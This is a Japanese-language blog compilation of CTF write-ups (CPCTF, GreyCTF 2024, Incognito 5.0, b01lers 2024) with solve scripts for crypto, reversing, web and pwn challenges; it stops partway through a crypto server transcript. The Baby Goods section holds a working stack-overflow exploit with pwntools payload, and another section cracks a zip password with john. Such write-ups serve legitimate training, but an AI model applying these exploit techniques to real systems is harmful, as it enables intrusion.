RSA Trial (Crypto, EASY)

hint = p ** 3 + q ** 3
     = (p + q) ** 3 - 3 * p * q * (p + q)
     = (p + q) ** 3 - 3 * n * (p + q)

p + q = xとすると、xの3次方程式になり、p + qを求めることができる。
phiは以下のように計算し、求めることができる。

phi = (p - 1) * (q - 1) = p * q - (p + q) + 1
    = n - (p + q) + 1

phiがわかれば、dを算出でき、復号できる。

#!/usr/bin/env python3
from Crypto.Util.number import *
import sympy

with open('output.py', 'r') as f:
    params = f.read().splitlines()

e = int(params[0].split(' ')[-1])
n = int(params[1].split(' ')[-1])
c = int(params[2].split(' ')[-1])
hint = int(params[3].split(' ')[-1])

x = sympy.Symbol('x')
eq = x ** 3 - 3 * n * x - hint
xs = sympy.solve(eq)
for x in xs:
    if x.is_Integer:
        x = int(x)
        break

phi = n - x + 1
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
CPCTF{Equ47i0n5_4r3_v3ry_h31pfu1}

Grey Cat The Flag 2024 Qualifiers Writeup

この大会は2024/4/20 13:00(JST)~2024/4/21 13:00(JST)に開催されました。
今回もチームで参戦。結果は600点で407チーム中186位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (MISC)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

grey{w3lc0m3_to_gctf2024_enjoy_your_stay!}

Cashhat The Ripper (MISC)

zipにパスワードがかかっているので、クラックする。

$ zip2john challenge.zip > zip.hash
ver 2.0 efh 5455 efh 7875 challenge.zip/flag.txt PKZIP Encr: TS_chk, cmplen=123, decmplen=117, crc=69101057 ts=6604 cs=6604 type=8
$ john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt                  
Warning! john.conf section [list.rules:replaceletterscaps] is multiple declared.
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123mango         (challenge.zip/flag.txt)     
1g 0:00:00:00 DONE (2024-04-20 15:28) 2.439g/s 5794Kp/s 5794Kc/s 5794KC/s 12hyre..123aniyah
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

このパスワードで解凍する。

$ unzip challenge.zip
Archive:  challenge.zip
[challenge.zip] flag.txt password: 
  inflating: flag.txt                
$ cat flag.txt         
Congratulations on cracking the password-protected zip file! Here is your flag:
flag{W34k_P4ssw0rds_St4Nd_n0_Ch4nc3}
flag{W34k_P4ssw0rds_St4Nd_n0_Ch4nc3}

All About Timing (MISC)

UNIXTIMEの整数値がseedになっていることがわかっているので、乱数の値を予測できる。
しかし時間が少しずれているようなので、ずれている時間を考慮して予測する。

#!/usr/bin/env python3
import socket
import time
import random

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs2.nusgreyhats.org', 31111))

cur = int(time.time())
random.seed(cur)
x = random.randint(1000000000000000, 10000000000000000-1)

data = recvuntil(s, b':')
print(data + str(x))
s.sendall(str(x).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
n = int(data.split(' ')[-1])

for diff in range(-10, 0):
    tm = cur + diff
    random.seed(tm)
    x = random.randint(1000000000000000, 10000000000000000-1)
    if x == n:
        print(diff)
        break

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs2.nusgreyhats.org', 31111))

cur = int(time.time()) + diff
random.seed(cur)
x = random.randint(1000000000000000, 10000000000000000-1)

data = recvuntil(s, b':')
print(data + str(x))
s.sendall(str(x).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Guess the number I'm thinking of? It's all about the timing
Your guess:1980674828191200
Wrong answer! The number I was thinking of was 7740404356175268
-2
Guess the number I'm thinking of? It's all about the timing
Your guess:7740404356175268
grey{t1m3_i5_a_s0c1al_coNstRucT}
grey{t1m3_i5_a_s0c1al_coNstRucT}

Grey Divers (MISC)

いろいろ調べたところゲームの各戦略支援のコマンドが関係していると推測できる。
以下のページで調べたコマンドを整理する。

https://helldivers.fandom.com/wiki/Eagle_500kg_Bomb
https://helldivers.fandom.com/wiki/Stratagem_Codes_(Helldivers_2)
1.Eagle 500 Kg Bomb:上右下下下
2.GL-21 Grenade Launcher:下左上左下
3.MD-I4 Incendiary Mines:下左左下
4.Orbital Gas Strike:右右下右
5.Orbital Airburst Strike:右右右
6.Eagle Rearm:上上左上右
7.Eagle 110MM Rocket Pods:上右上左

Homeから上のコマンドの通り文字をたどる。

GREY{i3mm_e1w3st_2_n3oU10o3E!}

フラグの形式はgrey{***}であるので、それに合わせる。

grey{i3mm_e1w3st_2_n3oU10o3E!}

Baby Goods (PWN)

buildpram関数内でBOFでsub_15210123関数をコールできれば良い。

$ gdb -q ./babygoods                                                                                                  
Reading symbols from ./babygoods...
(No debugging symbols found in ./babygoods)
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /media/sf_Shared/babygoods 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter your name: hoge

Hello hoge!
Welcome to babygoods, where we provide the best custom baby goods!
What would you like to do today?
1: Build new pram
2: Exit
Input: 1

Choose the size of the pram (1-5): 5

Your pram has been created! Give it a name: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

New pram AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL of size 5 has been created!

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffdec8 --> 0x7fffffffe23e ("/media/sf_Shared/babygoods")
RCX: 0x0 
RDX: 0x0 
RSI: 0x7fffffffbc20 ("\nNew pram AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL of size 5 has been created!\n")
RDI: 0x7fffffffbb00 --> 0x7ffff7e19e70 (<__funlockfile>:        mov    rdi,QWORD PTR [rdi+0x88])
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffdd78 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x401328 (<buildpram+206>: ret)
R8 : 0x0 
R9 : 0x73 ('s')
R10: 0x0 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffded8 --> 0x7fffffffe259 ("CLUTTER_IM_MODULE=xim")
R14: 0x403e18 --> 0x401200 (<__do_global_dtors_aux>:    endbr64)
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40131d <buildpram+195>:    call   0x4010e0 <printf@plt>
   0x401322 <buildpram+200>:    mov    eax,0x0
   0x401327 <buildpram+205>:    leave
=> 0x401328 <buildpram+206>:    ret
   0x401329 <exitshop>: endbr64
   0x40132d <exitshop+4>:       push   rbp
   0x40132e <exitshop+5>:       mov    rbp,rsp
   0x401331 <exitshop+8>:       lea    rax,[rip+0xd70]        # 0x4020a8
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd78 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffdd80 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffdd88 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffdd90 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffdd98 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffdda0 ("AJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffdda8 ("AAKAAgAA6AAL")
0056| 0x7fffffffddb0 --> 0x4c414136 ('6AAL')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401328 in buildpram ()
gdb-peda$ patto AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 40

$ ROPgadget --binary babygoods | grep ": ret" 
0x000000000040101a : ret
0x0000000000401490 : ret 0x20be
from pwn import *

if len(sys.argv) == 1:
    p = remote('challs.nusgreyhats.org', 32345)
else:
    p = process('./babygoods')

elf = ELF('./babygoods')

ret_addr = 0x40101a
sub_addr = elf.symbols['sub_15210123']

payload = b'A' * 40
payload += p64(ret_addr)
payload += p64(sub_addr)

name = 'hoge'
size = '5'
data = p.recvuntil(b': ').decode()
print(data + name)
p.sendline(name.encode())
data = p.recvuntil(b': ').decode()
print(data + '1')
p.sendline(b'1')
data = p.recvuntil(b': ').decode()
print(data + size)
p.sendline(size.encode())
data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to challs.nusgreyhats.org on port 32345: Done
[*] '/media/sf_Shared/babygoods'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Enter your name: hoge

Hello hoge!
Welcome to babygoods, where we provide the best custom baby goods!
What would you like to do today?
1: 1
Build new pram
2: 5
Exit
Input: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x006\x12@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode

Choose the size of the pram (1-5): 
Your pram has been created! Give it a name: 
New pram AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@ of size 5 has been created!
$ ls
flag.txt
run
$ cat flag.txt
grey{4s_34sy_4s_t4k1ng_c4ndy_fr4m_4_b4by}
grey{4s_34sy_4s_t4k1ng_c4ndy_fr4m_4_b4by}

The REAL GreyCTF Survey (FEEDBACK)

アンケートに答えたら、フラグが表示された。

grey{1_h0p3_y0u_3nj0y3d!!!!!!}

Incognito 5.0 Writeup

この大会は2024/4/16 19:00(JST)~2024/4/17 7:00(JST)に開催されました。
今回は個人で参戦。結果は850点で275チーム中79位でした。
自分で解けた問題をWriteupとして書いておきます。

Vault (Reverse 150)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  char *pcVar2;
  char local_78 [112];
  
  printf("Enter the secret code: ");
  __isoc99_scanf(&DAT_0010201c,local_78);
  pcVar2 = (char *)flag();
  iVar1 = strcmp(local_78,pcVar2);
  if (iVar1 == 0) {
    puts("Access Granted!");
    pcVar2 = (char *)flag();
    puts(pcVar2);
  }
  else {
    puts("Access Denied!");
  }
  return 0;
}

undefined1 * flag(void)

{
  int local_c;
  
  for (local_c = 0; local_c < 0x1a; local_c = local_c + 1) {
    flagArray.0[local_c] = (char)*(undefined4 *)(ascii_values.1 + (long)local_c * 4);
  }
  flagArray.0[26] = 0;
  return flagArray.0;
}

                             ascii_values.1                                  XREF[2]:     flag:0010118a(*), 
                                                                                          flag:00101191(*)  
        00104040 69 00 00        undefine
                 00 63 00 
                 00 00 74 
           00104040 69              undefined169h                     [0]                               XREF[2]:     flag:0010118a(*), 
                                                                                                                     flag:00101191(*)  
           00104041 00              undefined100h                     [1]
           00104042 00              undefined100h                     [2]
           00104043 00              undefined100h                     [3]
           00104044 63              undefined163h                     [4]
           00104045 00              undefined100h                     [5]
           00104046 00              undefined100h                     [6]
           00104047 00              undefined100h                     [7]
           00104048 74              undefined174h                     [8]
           00104049 00              undefined100h                     [9]
           0010404a 00              undefined100h                     [10]
           0010404b 00              undefined100h                     [11]
           0010404c 66              undefined166h                     [12]
           0010404d 00              undefined100h                     [13]
           0010404e 00              undefined100h                     [14]
           0010404f 00              undefined100h                     [15]
           00104050 7b              undefined17Bh                     [16]
           00104051 00              undefined100h                     [17]
           00104052 00              undefined100h                     [18]
           00104053 00              undefined100h                     [19]
           00104054 77              undefined177h                     [20]
           00104055 00              undefined100h                     [21]
           00104056 00              undefined100h                     [22]
           00104057 00              undefined100h                     [23]
           00104058 65              undefined165h                     [24]
           00104059 00              undefined100h                     [25]
           0010405a 00              undefined100h                     [26]
           0010405b 00              undefined100h                     [27]
           0010405c 6c              undefined16Ch                     [28]
           0010405d 00              undefined100h                     [29]
           0010405e 00              undefined100h                     [30]
           0010405f 00              undefined100h                     [31]
           00104060 63              undefined163h                     [32]
           00104061 00              undefined100h                     [33]
           00104062 00              undefined100h                     [34]
           00104063 00              undefined100h                     [35]
           00104064 30              undefined130h                     [36]
           00104065 00              undefined100h                     [37]
           00104066 00              undefined100h                     [38]
           00104067 00              undefined100h                     [39]
           00104068 6d              undefined16Dh                     [40]
           00104069 00              undefined100h                     [41]
           0010406a 00              undefined100h                     [42]
           0010406b 00              undefined100h                     [43]
           0010406c 65              undefined165h                     [44]
           0010406d 00              undefined100h                     [45]
           0010406e 00              undefined100h                     [46]
           0010406f 00              undefined100h                     [47]
           00104070 5f              undefined15Fh                     [48]
           00104071 00              undefined100h                     [49]
           00104072 00              undefined100h                     [50]
           00104073 00              undefined100h                     [51]
           00104074 74              undefined174h                     [52]
           00104075 00              undefined100h                     [53]
           00104076 00              undefined100h                     [54]
           00104077 00              undefined100h                     [55]
           00104078 30              undefined130h                     [56]
           00104079 00              undefined100h                     [57]
           0010407a 00              undefined100h                     [58]
           0010407b 00              undefined100h                     [59]
           0010407c 5f              undefined15Fh                     [60]
           0010407d 00              undefined100h                     [61]
           0010407e 00              undefined100h                     [62]
           0010407f 00              undefined100h                     [63]
           00104080 72              undefined172h                     [64]
           00104081 00              undefined100h                     [65]
           00104082 00              undefined100h                     [66]
           00104083 00              undefined100h                     [67]
           00104084 65              undefined165h                     [68]
           00104085 00              undefined100h                     [69]
           00104086 00              undefined100h                     [70]
           00104087 00              undefined100h                     [71]
           00104088 76              undefined176h                     [72]
           00104089 00              undefined100h                     [73]
           0010408a 00              undefined100h                     [74]
           0010408b 00              undefined100h                     [75]
           0010408c 33              undefined133h                     [76]
           0010408d 00              undefined100h                     [77]
           0010408e 00              undefined100h                     [78]
           0010408f 00              undefined100h                     [79]
           00104090 72              undefined172h                     [80]
           00104091 00              undefined100h                     [81]
           00104092 00              undefined100h                     [82]
           00104093 00              undefined100h                     [83]
           00104094 73              undefined173h                     [84]
           00104095 00              undefined100h                     [85]
           00104096 00              undefined100h                     [86]
           00104097 00              undefined100h                     [87]
           00104098 31              undefined131h                     [88]
           00104099 00              undefined100h                     [89]
           0010409a 00              undefined100h                     [90]
           0010409b 00              undefined100h                     [91]
           0010409c 6e              undefined16Eh                     [92]
           0010409d 00              undefined100h                     [93]
           0010409e 00              undefined100h                     [94]
           0010409f 00              undefined100h                     [95]
           001040a0 67              undefined167h                     [96]
           001040a1 00              undefined100h                     [97]
           001040a2 00              undefined100h                     [98]
           001040a3 00              undefined100h                     [99]
           001040a4 7d              undefined17Dh                     [100]
           001040a5 00              undefined100h                     [101]
           001040a6 00              undefined100h                     [102]
           001040a7 00              undefined100h                     [103]

ascii_values.1について、4バイトごとにASCIIコードを文字にする。

#!/usr/bin/env python3
codes = [0x69, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 
    0x00, 0x66, 0x00, 0x00, 0x00, 0x7B, 0x00, 0x00, 0x00, 0x77, 0x00, 0x00,
    0x00, 0x65, 0x00, 0x00, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00,
    0x00, 0x30, 0x00, 0x00, 0x00, 0x6D, 0x00, 0x00, 0x00, 0x65, 0x00, 0x00,
    0x00, 0x5F, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00,
    0x00, 0x5F, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x65, 0x00, 0x00,
    0x00, 0x76, 0x00, 0x00, 0x00, 0x33, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00,
    0x00, 0x73, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0x6E, 0x00, 0x00,
    0x00, 0x67, 0x00, 0x00, 0x00, 0x7D, 0x00, 0x00, 0x00]

flag = ''
for i in range(0, len(codes), 4):
    flag += chr(codes[i])
print(flag)
ictf{welc0me_t0_rev3rs1ng}

Vault 2 (Reverse 200)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  undefined local_88 [128];
  
  puts("Enter the flag:");
  iVar1 = __isoc99_scanf("%127s",local_88);
  if (iVar1 != 0) {
    iVar1 = checkFlag(local_88);
    if (iVar1 == 0) {
      puts("Incorrect flag. Try again!");
    }
    else {
      puts("Congratulations! You\'ve solved the challenge.");
    }
  }
  return 0;
}

bool checkFlag(char *param_1)

{
  int iVar1;
  char local_a8 [128];
  undefined8 local_28;
  undefined7 local_20;
  undefined uStack_19;
  undefined7 uStack_18;
  
  local_28 = 0x7136777e62776168;
  local_20 = 0x6e5b306e636435;
  uStack_19 = 0x32;
  uStack_18 = 0x7f73357c5c7b;
  strncpy(local_a8,param_1,0x80);
  mysteryFunction(local_a8);
  iVar1 = strncmp(local_a8,(char *)&local_28,0x17);
  return iVar1 == 0;
}

void mysteryFunction(long param_1)

{
  int local_c;
  
  for (local_c = 0; *(char *)(param_1 + local_c) != '\0'; local_c = local_c + 1) {
    *(byte *)(param_1 + local_c) =
         *(byte *)(param_1 + local_c) ^ (char)local_c + (char)(local_c / 5) * -5 + 1U;
  }
  return;
}

入力データをmysteryFunction関数をかけて、checkFlagの各値と一致するものをブルートフォースで求める。

#!/usr/bin/env python3
def mystery(c, index):
    return c ^ index - (index // 5) * 5 + 1

enc = (0x7136777e62776168).to_bytes(8, 'little')
enc += (0x6e5b306e636435).to_bytes(7, 'little')
enc += (0x32).to_bytes(1, 'little')
enc += (0x7f73357c5c7b).to_bytes(6, 'little')

flag = ''
for i in range(len(enc)):
    for code in range(32, 127):
        if mystery(code, i) == enc[i]:
            flag += chr(code)
            break
print(flag)
ictf{v4r1abl3_k3y_x0r}

Vault 3 (Reverse 300)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  undefined local_88 [128];
  
  puts("Enter the flag:");
  iVar1 = __isoc99_scanf("%127s",local_88);
  if (iVar1 != 0) {
    iVar1 = checkFlag(local_88);
    if (iVar1 == 0) {
      puts("Incorrect flag. Try again!");
    }
    else {
      puts("Congratulations! You\'ve solved the challenge.");
    }
  }
  return 0;
}

bool checkFlag(char *param_1)

{
  int iVar1;
  char local_a8 [128];
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  
  local_28 = 0x7a32567b6879656c;
  local_20 = 0x22785e7133237834;
  local_18 = 0x7f56305b5d6c77;
  strncpy(local_a8,param_1,0x80);
  encrypt(local_a8,(int)param_1);
  iVar1 = strncmp(local_a8,(char *)&local_28,0x18);
  return iVar1 == 0;
}

void encrypt(char *__block,int __edflag)

{
  byte bVar1;
  char cVar2;
  int local_14;
  
  for (local_14 = 0; __block[local_14] != '\0'; local_14 = local_14 + 1) {
    bVar1 = (byte)(local_14 >> 0x1f);
    cVar2 = rotateChar((int)(char)(((char)local_14 + (bVar1 >> 6) & 3) - (bVar1 >> 6) ^
                                  __block[local_14]),3);
    __block[local_14] = cVar2;
  }
  return;
}

uint rotateChar(byte param_1,int param_2)

{
  uint uVar1;
  
  if (((char)param_1 < 'a') || ('z' < (char)param_1)) {
    if (((char)param_1 < 'A') || ('Z' < (char)param_1)) {
      uVar1 = (uint)param_1;
    }
    else {
      uVar1 = (param_2 + (char)param_1 + -0x41) % 0x1a + 0x41;
    }
  }
  else {
    uVar1 = (param_2 + (char)param_1 + -0x61) % 0x1a + 0x61;
  }
  return uVar1;
}

入力データをencrypt関数をかけて、checkFlagの各値と一致するものをブルートフォースで求める。

#!/usr/bin/env python3
def encrypt(c, index):
    v1 = index >> 0x1f
    v2 = rotateChar((index + (v1 >> 6) & 3) - (v1 >> 6) ^ c, 3)
    return v2

def rotateChar(a, b):
    if a < ord('a') or ord('z') < a:
        if a < ord('A') or ord('Z') < a:
            c = a
        else:
            c = (b + a - 0x41) % 0x1a + 0x41
    else:
        c = (b + a - 0x61) % 0x1a + 0x61
    return c

enc = (0x7a32567b6879656c).to_bytes(8, 'little')
enc += (0x22785e7133237834).to_bytes(8, 'little')
enc += (0x7f56305b5d6c77).to_bytes(7, 'little')

flag = ''
for i in range(len(enc)):
    for code in range(32, 127):
        if encrypt(code, i) == enc[i]:
            flag += chr(code)
            break
print(flag)
ictf{R0t4t!0n_w!th_X0R}

Warmup (Web 100)

http://statesman.ictf5.ninja/src/App.jsxの冒頭に以下のように書いてある。

import { createHotContext as __vite__createHotContext } from "/@vite/client";import.meta.hot = __vite__createHotContext("/src/App.jsx");import.meta.env = {"VITE_FAKE_FLAG": "N07F4K3F14G", "VITE_ENDPOINT": "http://20.55.192.124:5000/decrypt", "VITE_FLAG": "ictf{wElc0Me_T0_1ctf}", "BASE_URL": "/", "MODE": "development", "DEV": true, "PROD": false, "SSR": false};import * as RefreshRuntime from "/@react-refresh";

これにフラグが含まれている。

ictf{wElc0Me_T0_1ctf}

Di Dah (Crypto 100)

モールス信号に変換する。

-.... ----. -.... ...-- --... ....- -.... -.... --... -... ....- -.. ...-- ----- --... ..--- --... ...-- ...-- ...-- ..... ..-. ...-- ....- -.... . -.... ....- ..... ..-. ....- ....- ...-- .---- ....- ....- ....- ----- -.... ---.. ..... ..-. ..... --... -.... ---.. ...-- .---- --... .- ...-- ...-- --... ..--- ...-- ...-- --... ..--- --... -.. ----- .-

https://morsecode.world/international/translator.htmlでデコードする。

696374667B4D307273335F346E645F44314440685F5768317A337233727D0A

これをhexデコードする。

$ echo 696374667B4D307273335F346E645F44314440685F5768317A337233727D0A | xxd -r -p
ictf{M0rs3_4nd_D1D@h_Wh1z3r3r}
ictf{M0rs3_4nd_D1D@h_Wh1z3r3r}

b01lers CTF 2024 Writeup

この大会は2024/4/13 8:00(JST)~2024/4/15 8:00(JST)に開催されました。
今回もチームで参戦。結果は3112点で393チーム中46位でした。
自分で解けた問題をWriteupとして書いておきます。

sanity-check (misc)

Discordに入り、#announcementsチャネルのメッセージにフラグが書いてあった。

bctf{sanitcheckcomplete}

Annnnnnny Second Now (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  ulong uVar1;
  long in_FS_OFFSET;
  uint local_84;
  uint local_78 [26];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_78[0] = 0x8bf7;
  local_78[1] = 0x8f;
  local_78[2] = 0x425;
  local_78[3] = 0x36d;
  local_78[4] = 0x1c1928b;
  local_78[5] = 0xe5;
  local_78[6] = 0x70;
  local_78[7] = 0x151;
  local_78[8] = 0x425;
  local_78[9] = 0x2f;
  local_78[10] = 0x739f;
  local_78[11] = 0x91;
  local_78[12] = 0x7f;
  local_78[13] = 0x42517;
  local_78[14] = 0x7f;
  local_78[15] = 0x161;
  local_78[16] = 0xc1;
  local_78[17] = 0xbf;
  local_78[18] = 0x151;
  local_78[19] = 0x425;
  local_78[20] = 0xc1;
  local_78[21] = 0x161;
  local_78[22] = 0x10d;
  local_78[23] = 0x1e7;
  local_78[24] = 0xf5;
  uVar1 = super_optimized_calculation(0x5a);
  for (local_84 = 0; local_84 < 0x19; local_84 = local_84 + 1) {
    putc((int)(uVar1 % (ulong)local_78[(int)local_84]),stdout);
  }
  putc(10,stdout);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

long super_optimized_calculation(int param_1)

{
  long lVar1;
  long lVar2;
  
  if (param_1 == 0) {
    lVar1 = 0;
  }
  else if (param_1 == 1) {
    lVar1 = 1;
  }
  else {
    lVar2 = super_optimized_calculation(param_1 + -1);
    lVar1 = super_optimized_calculation(param_1 + -2);
    lVar1 = lVar1 + lVar2;
  }
  return lVar1;
}

super_optimized_calculationはフィボナッチ数列になる関数で、引数をインデックスとして、以下のような配列になる。

[0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, ...]

インデックスが0x5aの値を求める必要がある。Pythonで簡単に求める方法を使ってこの値を求め、あとは上記のコードと同じ処理をして出力する。

#!/usr/bin/env python3
def fib(n):
    global iterations
    new, old = 1, 0
    for i in range(n):
            new, old = old, new + old
            iterations+=1 #keep track of how many times its run
    return old

enc = [0x8bf7, 0x8f, 0x425, 0x36d, 0x1c1928b, 0xe5, 0x70, 0x151, 0x425, 0x2f,
    0x739f, 0x91, 0x7f, 0x42517, 0x7f, 0x161, 0xc1, 0xbf, 0x151, 0x425, 0xc1,
    0x161, 0x10d, 0x1e7, 0xf5]

iterations = 0
v = fib(0x5a)

flag = ''
for c in enc:
    flag += chr(v % c)
print(flag)
bctf{what's_memoization?}

choose_the_param (crypto)

サーバの処理概要は以下の通り。

・padded_flag: ランダム200バイト文字列 + flag + ランダム200バイト文字列
・m: padded_flagの数値化したもの
・以下繰り返し
 ・bits: 数値入力
 ・bit_len: bitsの数値
 ・p1: bit_lenビット素数
 ・p2: bit_lenビット素数
 ・n = p1 * p2
 ・e = 65537
 ・c = pow(m, e, n)
 ・n, e, cを表示

小さいビット数にして、素因数分解できるものにし、復号できるようにする。flagの数値を複数のnで割った余りの情報(復号した値)を集め、CRTでフラグを復元する。

#!/usr/bin/env python3
import socket
from sympy import factorint
from sympy.ntheory.modular import crt
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('gold.b01le.rs', 5001))

for _ in range(4):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

bits = 32
ms = []
ns = []
for _ in range(64):
    data = recvuntil(s, b'> ')
    print(data + str(bits))
    s.sendall(str(bits).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    n = int(data.split(' ')[-1], 16)
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    e = int(data.split(' ')[-1], 16)
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    c = int(data.split(' ')[-1], 16)

    fac = factorint(n)
    phi = 1
    for p in fac:
        phi *= p - 1
    d = inverse(e, phi)
    m = pow(c, d, n)
    assert(pow(m, e, n) == c)

    ns.append(n)
    ms.append(m)

m, _ = crt(ns, ms)
padded_flag = long_to_bytes(m)

flag = padded_flag[200:-200].decode()
print(flag)

実行結果は以下の通り。

Choose your parameter
Enter the bit length of the prime!
I'll choose two prime of that length, and encrypt the flag using rsa.
Try decrypt the flag!

Enter the bit length of your primes> 32
n = 91d27d967eaeae2b
e = 10001
c = 498d0427b8cc519d
Enter the bit length of your primes> 32
n = 670f80b17178b50b
e = 10001
c = b6e4aaae745a4d7
Enter the bit length of your primes> 32
n = a4d6eaa111d76175
e = 10001
c = f880af323415c15
Enter the bit length of your primes> 32
n = 7421e8915f92f5c7
e = 10001
c = 13bdaa178c61d4d2
Enter the bit length of your primes> 32
n = 580d9539ab4661e3
e = 10001
c = 1b33de83ec441b3e
Enter the bit length of your primes> 32
n = 6fc3312abe99fe63
e = 10001
c = 2ee82f73ff2c6807
Enter the bit length of your primes> 32
n = 828c5f9fc01151d5
e = 10001
c = 61bb4ea6af3cdcf4
Enter the bit length of your primes> 32
n = 914cc5936cbec0b7
e = 10001
c = 552aba347203ff5
Enter the bit length of your primes> 32
n = c2cc58f3ef13d547
e = 10001
c = 1fcbf90c60c838d
Enter the bit length of your primes> 32
n = 9aaba815dcada10d
e = 10001
c = 10a27cd2bcdc83f8
Enter the bit length of your primes> 32
n = 800aa96fe575173d
e = 10001
c = 7c4beed2815a6ba1
Enter the bit length of your primes> 32
n = cb2d723bae1dbdb3
e = 10001
c = 1d4f53e89437ffa3
Enter the bit length of your primes> 32
n = 6236605304244a8d
e = 10001
c = 46b39bb1f63ad5bb
Enter the bit length of your primes> 32
n = ab8ba59649024711
e = 10001
c = 3f7f3be8dcf3f881
Enter the bit length of your primes> 32
n = 84f03cd87cc37d07
e = 10001
c = 5e2a967169b5ffb5
Enter the bit length of your primes> 32
n = 95925865cb75f845
e = 10001
c = 1d93190429366366
Enter the bit length of your primes> 32
n = 763ecff63a14183b
e = 10001
c = 16f7b7f59ccb3ef3
Enter the bit length of your primes> 32
n = ba80511a830e6b6f
e = 10001
c = 60fba2d0b219893f
Enter the bit length of your primes> 32
n = e5d1de8cb98fd957
e = 10001
c = 6b32e0f73f0ef84
Enter the bit length of your primes> 32
n = c609e6406a0e55f7
e = 10001
c = 1d842d61c342357b
Enter the bit length of your primes> 32
n = 7ebb37c7d2e90321
e = 10001
c = 62eaf78696352f25
Enter the bit length of your primes> 32
